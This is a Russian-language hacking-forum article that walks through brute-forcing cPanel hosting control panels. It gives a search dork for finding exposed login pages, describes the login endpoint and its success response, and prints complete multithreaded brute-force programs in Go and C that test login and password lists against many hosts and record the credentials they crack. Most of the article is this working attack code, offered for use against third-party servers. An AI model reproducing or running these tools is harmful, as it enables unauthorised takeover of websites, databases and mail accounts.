Брутфорсим cPanel на Си

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

Приветствую! Чем порадуем этот мир сегодня? miserylord на связи!

Эта статья посвящена написанию брутфорса для cPanel на языке Си, сравнению скорости с брутфорсом, реализованным на Golang, и в целом методике взлома cPanel.

Что такое cPanel?

cPanel — это панель управления для веб-хостинга с графическим интерфейсом, предназначенная для управления веб-серверами и сайтами. Веб-хостинг отличается от серверов тем, что он виртуально разделён и, по сути, представляет собой «сервер, проданный по кусочкам». Однако cPanel можно установить и на VPS. В целом, это не имеет значения, где именно работает панель.

Стоит отметить, что существуют аналоги cPanel, такие как DirectAdmin, Webmin и другие. Брутфорс-атака на них будет устроена аналогичным образом.

Функционал панели действительно обширен: управление доменами, настройка электронной почты, работа с файлами, создание резервных копий, управление базами данных и многое другое.

Если недобросовестный человек получит доступ к cPanel, это может привести к катастрофическим последствиям для сайта и данных: кража базы данных, компрометация конфиденциальной информации, изменение конфигурации, доступ к почтовому серверу и домену.

Поиск cPanel

Для поиска cPanel воспользуемся Fofa. Дорка: title="cPanel Login". Стандартные порты — 2082 или 2083.

Реализация на Golang

Первым делом реализуем брутфорс на языке Golang. О брутфорс-атаках, а также о конкурентном программировании в Go я писал в статье про брутфорс почтовых сервисов. Golang заточен под удобное написание конкурентного кода. В двух словах, в Go существует концепция горутин — легковесных потоков, которые работают конкурентно, но не обязательно параллельно. Для синхронизации доступа к ресурсам используются мьютексы, а для ограничения числа потоков — концепция семафоров.

Я буду реализовывать брутфорс через веб-интерфейс. Насколько я успел понять, по умолчанию нет ограничений на количество попыток входа с одного IP. Пробую войти в аккаунт и, в devtools консоли, на вкладке "Network", анализирую запросы. Вижу POST-запрос на /login/?login_only=1. Content-Type: application/x-www-form-urlencoded указывает, что данные передаются через форму. Изучаю ответ: в поле message может быть как invalid_login, так и invalid_username. Сначала я написал код, который проверяет логин, и если ответ не равен invalid_username, invalid_login или no_username, то начинаем подбирать пароль. Но потом я понял, что не совсем уверен в правильности понимания ответов от API. В конце концов, я не нашел официальной документации, а ответы invalid_login и invalid_username казались рандомными. При этом на самой странице всегда было указано, что неверен именно логин. В итоге я решил реализовать логику через проверку статуса. Предполагаю, что статус 1 — это успешная авторизация. Более того, примеры таких ответов я нашел на Stack Overflow. Дополнительно я добавил проверку статуса сервера, используя логическое ИЛИ. Переходим к реализации кода.
C-подобный: Скопировать в буфер обмена
Код:
package main
   
    import (
        "bufio"
        "fmt"
        "io/ioutil"
        "net/http"
        "os"
        "strings"
        "sync"
        "time"
    )
   
    // 1
    var mu sync.Mutex
    var attemptCount int
    var wg sync.WaitGroup
   
    // 2
    func attemptLogin(host, login, password string) (*http.Response, error) {
        url := fmt.Sprintf("%s/login/?login_only=1", host)
        data := fmt.Sprintf("user=%s&pass=%s", login, password)
        req, err := http.NewRequest("POST", url, strings.NewReader(data))
        if err != nil {
            return nil, err
        }
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        client := &http.Client{}
        return client.Do(req)
    }
   
    // 3
    func readFile(fileName string) ([]string, error) {
        file, err := os.Open(fileName)
        if err != nil {
            return nil, err
        }
        defer file.Close()
   
        var lines []string
        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            lines = append(lines, scanner.Text())
        }
   
        if err := scanner.Err(); err != nil {
            return nil, err
        }
   
        return lines, nil
    }
   
    // 4
    func appendToFile(fileName, text string) error {
        mu.Lock()
        defer mu.Unlock()
   
        file, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
        if err != nil {
            return err
        }
        defer file.Close()
   
        _, err = file.WriteString(text + "\n")
        return err
    }
   
    // 5
    func logAttemptsPerMinute() {
        for {
            time.Sleep(60 * time.Second)
            mu.Lock()
            currentCount := attemptCount
            mu.Unlock()
            err := appendToFile("attempts_log.txt", fmt.Sprintf("Попыток за последнюю минуту: %d", currentCount))
            if err != nil {
                fmt.Println("Ошибка при записи в файл attempts_log.txt:", err)
            }
            mu.Lock()
            attemptCount = 0
            mu.Unlock()
        }
    }
   
    // 6
    func containsStatusOne(response *http.Response) bool {
        body, err := ioutil.ReadAll(response.Body)
        if err != nil {
            fmt.Println("Ошибка при чтении тела ответа:", err)
            return false
        }
        bodyStr := string(body)
        fmt.Println(bodyStr)
   
        match := strings.Contains(bodyStr, "\"status\":1")
        return match
    }
   
    // 7
    func attemptLoginForHost(host string, logins, passwords []string, sem chan struct{}) {
        defer wg.Done()
        err := appendToFile("results.txt", fmt.Sprintf("Начинаем подбор для хоста: %s", host))
        if err != nil {
            fmt.Println("Ошибка при записи в файл:", err)
            return
        }
   
        for _, login := range logins {
            for _, password := range passwords {
                fmt.Printf("Пробуем логин: %s с паролем: %s на хосте %s\n", login, password, host)
   
                response, err := attemptLogin(host, login, password)
                if err != nil {
                    fmt.Println("Ошибка при попытке авторизации:", err)
                    continue
                }
                defer response.Body.Close()
   
                if containsStatusOne(response) || response.StatusCode != http.StatusUnauthorized {
                    result := fmt.Sprintf("Хост: %s, Логин: %s, Пароль: %s", host, login, password)
                    err := appendToFile("results.txt", result)
                    if err != nil {
                        fmt.Println("Ошибка при записи в файл:", err)
                    } else {
                        fmt.Printf("Результат: Логин: %s, Пароль: %s найден для хоста %s\n", login, password, host)
                    }
                }
   
                mu.Lock()
                attemptCount++
                mu.Unlock()
            }
        }
    }
   
    // 8
    func main() {
        hosts, err := readFile("hosts.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении hosts.txt:", err)
            return
        }
   
        logins, err := readFile("login.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении login.txt:", err)
            return
        }
   
        passwords, err := readFile("password.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении password.txt:", err)
            return
        }
   
        go logAttemptsPerMinute()
   
        sem := make(chan struct{}, 3)
   
   
        for _, host := range hosts {
            wg.Add(1)
            go attemptLoginForHost(host, logins, passwords, sem)
        }
   
        wg.Wait()
    }

  1. Глобальная переменная для подсчета попыток авторизации, а также мьютекс для работы с ресурсами, которые могут быть заняты горутинами. WaitGroup для ожидания завершения всех горутин.
  2. Функция для попытки логина. Она получает хост в виде либо URL, либо адреса. В заголовках передаем только Content-Type.
  3. Функция для чтения файла в срез строк.
  4. Функция для добавления текста в файл. Она использует мьютексы для синхронизации горутин.
  5. Функция для записи количества попыток в файл. Это бесконечный цикл, который выполняется каждую минуту. Внутри цикла функция ждет 60 секунд. Блокирует доступ к переменной attemptCount с помощью мьютекса, чтобы безопасно получить текущее количество попыток. Записывает это количество в файл и сбрасывает счетчик попыток, устанавливая attemptCount = 0. Повторяет процесс.
  6. Функция для проверки наличия "status":1 в теле ответа.
  7. Функция для попытки логина для конкретного хоста и списка логинов и паролей. Записываем в файл, что начали попытки на данном хосте. Перебираем все логины и пароли. Если найдено соответствие с "status":1, считаем, что пароль найден, и увеличиваем счетчик попыток.
  8. В main функции сначала происходит чтение файлов. Затем запускаем горутину для записи попыток в файл каждую минуту. Ограничение на количество горутин реализовано с помощью семафора. Ждем завершения всех горутин, блокируя главный поток до тех пор, пока все горутины не завершатся.

На трёх горутинах количество запросов в минуту составило около 600. Понятно, что это будет зависеть от железа, но для понимания у меня получилось примерно такое число.

Реализация на Си

Переходим к написанию брутфорса на Си. Это новый язык для меня, поэтому код может быть не максимально оптимизирован, и, вероятно, существует более грамотная реализация. В сути многопоточности Си выступают системные потоки и их синхронизация. Итак, получилось как-то так:
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <pthread.h>
    #include <curl/curl.h>
    #include <unistd.h>
   
    // 1
    #define MAX_LINE_LENGTH 1024
    #define MAX_HOSTS 100
    #define MAX_LOGINS 100
    #define MAX_PASSWORDS 100
   
    // 2
    pthread_mutex_t mu = PTHREAD_MUTEX_INITIALIZER;
    int attemptCount = 0;
    pthread_mutex_t logFileMutex = PTHREAD_MUTEX_INITIALIZER;
   
    // 3
    void logToFile(const char* fileName, const char* logMessage) {
        pthread_mutex_lock(&logFileMutex);
   
        FILE* file = fopen(fileName, "a");
        if (file) {
            fprintf(file, "%s\n", logMessage);
            fclose(file);
        } else {
            perror("Ошибка при записи в файл логов");
        }
   
        pthread_mutex_unlock(&logFileMutex);
    }
   
    // 4
    char** readFile(const char* fileName, int* count) {
        FILE* file = fopen(fileName, "r");
        if (!file) {
            char errorMessage[MAX_LINE_LENGTH];
            snprintf(errorMessage, sizeof(errorMessage), "Ошибка при открытии файла: %s", fileName);
            logToFile("debug_log.txt", errorMessage);
            return NULL;
        }
   
        char** lines = malloc(MAX_LINE_LENGTH * sizeof(char*));
        char buffer[MAX_LINE_LENGTH];
        int index = 0;
   
        while (fgets(buffer, sizeof(buffer), file)) {
            buffer[strcspn(buffer, "\n")] = '\0';
            lines[index] = strdup(buffer);
            index++;
        }
   
        fclose(file);
        *count = index;
   
        char logMessage[MAX_LINE_LENGTH];
        snprintf(logMessage, sizeof(logMessage), "Файл %s успешно прочитан, количество строк: %d", fileName, *count);
        logToFile("debug_log.txt", logMessage);
   
        return lines;
    }
   
    // 5
    void appendToFile(const char* fileName, const char* text) {
        pthread_mutex_lock(&logFileMutex);
   
        FILE* file = fopen(fileName, "a");
        if (file) {
            fprintf(file, "%s\n", text);
            fclose(file);
        } else {
            perror("Ошибка при записи в файл");
        }
   
        pthread_mutex_unlock(&logFileMutex);
    }
   
    // 6
    void* logAttemptsPerMinute(void* arg) {
        while (1) {
            sleep(60);
            pthread_mutex_lock(&mu);
            int currentCount = attemptCount;
            attemptCount = 0;
            pthread_mutex_unlock(&mu);
   
            char logMessage[MAX_LINE_LENGTH];
            snprintf(logMessage, sizeof(logMessage), "Попыток за последнюю минуту: %d", currentCount);
            appendToFile("attempts_log.txt", logMessage);
        }
        return NULL;
    }
   
    // 7
    size_t writeCallback(void* contents, size_t size, size_t nmemb, void* userp) {
        strncat((char*)userp, (char*)contents, size * nmemb);
        return size * nmemb;
    }
   
    // 8
    int containsStatusOne(const char* response) {
        return strstr(response, "\"status\":1") != NULL;
     }
   
    // 9
    void* attemptLoginForHost(void* args) {
        char** data = (char**)args;
        char* host = data[0];
        char** logins = (char**)data[1];
        char** passwords = (char**)data[2];
        int loginCount = atoi(data[3]);
        int passwordCount = atoi(data[4]);
   
        CURL* curl = curl_easy_init();
        if (!curl) {
            char errorMessage[MAX_LINE_LENGTH];
            snprintf(errorMessage, sizeof(errorMessage), "Ошибка инициализации CURL для хоста: %s", host);
            logToFile("debug_log.txt", errorMessage);
            return NULL;
        }
   
        char hostCopy[MAX_LINE_LENGTH];
        snprintf(hostCopy, sizeof(hostCopy), "%s", host);
        hostCopy[strcspn(hostCopy, "\r\n")] = '\0';
   
        for (int i = 0; i < loginCount; i++) {
            for (int j = 0; j < passwordCount; j++) {
                char logMessage[MAX_LINE_LENGTH];
                snprintf(logMessage, sizeof(logMessage), "Пробуем логин: %s, пароль: %s на хосте: %s", logins[i], passwords[j], hostCopy);
                logToFile("debug_log.txt", logMessage);
   
                char* encodedLogin = curl_easy_escape(curl, logins[i], 0);
                char* encodedPassword = curl_easy_escape(curl, passwords[j], 0);
   
                char url[MAX_LINE_LENGTH];
                snprintf(url, sizeof(url), "%s/login/?login_only=1", hostCopy);
   
                char postData[MAX_LINE_LENGTH];
                snprintf(postData, sizeof(postData), "user=%s&pass=%s", encodedLogin, encodedPassword);
                curl_free(encodedLogin);
                curl_free(encodedPassword);
   
                char responseBuffer[MAX_LINE_LENGTH] = {0};
                curl_easy_setopt(curl, CURLOPT_URL, url);
                curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
                curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback);
                curl_easy_setopt(curl, CURLOPT_WRITEDATA, responseBuffer);
                curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
   
                CURLcode res = curl_easy_perform(curl);
                if (res != CURLE_OK) {
                    snprintf(logMessage, sizeof(logMessage), "Ошибка запроса для хоста %s: %s", hostCopy, curl_easy_strerror(res));
                    logToFile("debug_log.txt", logMessage);
                    continue;
                }
   
                snprintf(logMessage, sizeof(logMessage), "Ответ от сервера для хоста %s: %s", hostCopy, responseBuffer);
                logToFile("debug_log.txt", logMessage);
   
                if (containsStatusOne(responseBuffer)) {
                    char result[MAX_LINE_LENGTH];
                    snprintf(result, sizeof(result), "Хост: %s, Логин: %s, Пароль: %s", hostCopy, logins[i], passwords[j]);
                    appendToFile("results.txt", result);
   
                    snprintf(logMessage, sizeof(logMessage), "Результат найден: %s", result);
                    logToFile("debug_log.txt", logMessage);
                }
   
                pthread_mutex_lock(&mu);
                attemptCount++;
                pthread_mutex_unlock(&mu);
            }
        }
   
        curl_easy_cleanup(curl);
        return NULL;
    }
   
    // 10
    int main() {
        int hostCount, loginCount, passwordCount;
        char** hosts = readFile("hosts.txt", &hostCount);
        char** logins = readFile("login.txt", &loginCount);
        char** passwords = readFile("password.txt", &passwordCount);
   
        if (!hosts || !logins || !passwords) {
            logToFile("debug_log.txt", "Ошибка при чтении файлов");
            return 1;
        }
   
        pthread_t loggerThread;
        pthread_create(&loggerThread, NULL, logAttemptsPerMinute, NULL);
   
        pthread_t threads[MAX_HOSTS];
        for (int i = 0; i < hostCount; i++) {
            char** args = malloc(5 * sizeof(char*));
            args[0] = strdup(hosts[i]);
            args[1] = (char*)logins;
            args[2] = (char*)passwords;
            args[3] = malloc(10);
            args[4] = malloc(10);
            snprintf(args[3], 10, "%d", loginCount);
            snprintf(args[4], 10, "%d", passwordCount);
   
            pthread_create(&threads[i], NULL, attemptLoginForHost, (void*)args);
        }
   
        for (int i = 0; i < hostCount; i++) {
            pthread_join(threads[i], NULL);
        }
   
        pthread_cancel(loggerThread);
   
        for (int i = 0; i < hostCount; i++) free(hosts[i]);
        for (int i = 0; i < loginCount; i++) free(logins[i]);
        for (int i = 0; i < passwordCount; i++) free(passwords[i]);
        free(hosts);
        free(logins);
        free(passwords);
   
        return 0;
    }

  1. Определяем константы для работы с памятью. Первая константа определяет максимальную длину одной строки, которая может быть прочитана из файлов. Это означает, что каждый хост, логин, пароль или любая строка, прочитанная из файла, будет ограничена 1024 символами. Если бы не было ограничения на длину строк, возможны были бы ошибки переполнения буфера. В Си нет динамических массивов, но есть возможность расширять память по мере необходимости работы программы. Также мы ограничиваем максимальное количество хостов, логинов и паролей.
  2. Для работы с потоками используется библиотека pthread. Концепция мьютексов в Go была заимствована из Си. Переменная инициализируется значением PTHREAD_MUTEX_INITIALIZER. Это стандартный способ инициализации мьютекса. Также объявляется переменная для подсчета количества попыток логина. Создаётся ещё один мьютекс — logFileMutex, который используется для синхронизации доступа к лог-файлам.
  3. Функция для записи данных в лог-файл. Все те же мьютексы для синхронизации. Функция fopen открывает файл с именем fileName в режиме "a", что означает "добавить в конец файла". Если файл не существует, fopen попытается его создать. Важно не оставлять файлы открытыми, так как это может привести к утечке ресурсов.
  4. Функция отвечает за чтение строк из файла и возврат этих строк в виде массива строк, а также запись в лог-файл количества строк и статуса операции. В данной функции используется указатель на указатель, потому что функция должна вернуть массив строк (каждая строка — это указатель на char, а массив этих строк — это указатель на указатели на char). В функции мы открываем файл для чтения, обрабатываем и логируем потенциальные ошибки, читаем файл построчно.
  5. Функция для записи строк в файл.
  6. Функция для отслеживания количества попыток за последнюю минуту.
  7. Коллбек-функция для обработки данных, полученных от HTTP-запроса через библиотеку libcurl. Она вызывается каждый раз, когда получены данные от сервера.
  8. Функция проверяет, содержит ли строка ответа сервера подстроку \"status\":1.
  9. Функция для авторизации. Она принимает параметр args типа void*, который затем преобразуется в массив строк. Создаётся объект curl. Используется strcspn, чтобы удалить символы новой строки (если они есть). На дебаг этого у меня ушло определённое время. Проходим двумя циклами по логинам и паролям. Логин и пароль кодируются в URL-формате с помощью curl_easy_escape. Формируется строка URL для запроса и тело POST-запроса. В конце освобождаются ресурсы, связанные с закодированными строками логина и пароля. Выполняется запрос с помощью curl_easy_perform. Записывается в лог ответ от сервера для данного хоста.
  10. Главная функция — загружаем данные из файлов и возвращаем их в виде массивов строк. Для каждого хоста создается отдельный поток, который выполняет попытки авторизации с использованием всех комбинаций логинов и паролей. Основной поток ожидает завершения всех потоков с попытками авторизации. По завершению работы программа отменяет поток логирования и освобождает выделенную память.

Наконец, количество итераций в минуту на трёх хостах составило около 900! Это больше, чем на аналогичном коде на Go. Возможно, дело в оптимизациях или в том, что горутины не такие легковесные. В любом случае, Си даёт больше возможностей.

Трям! Пока!
 
Сверху Снизу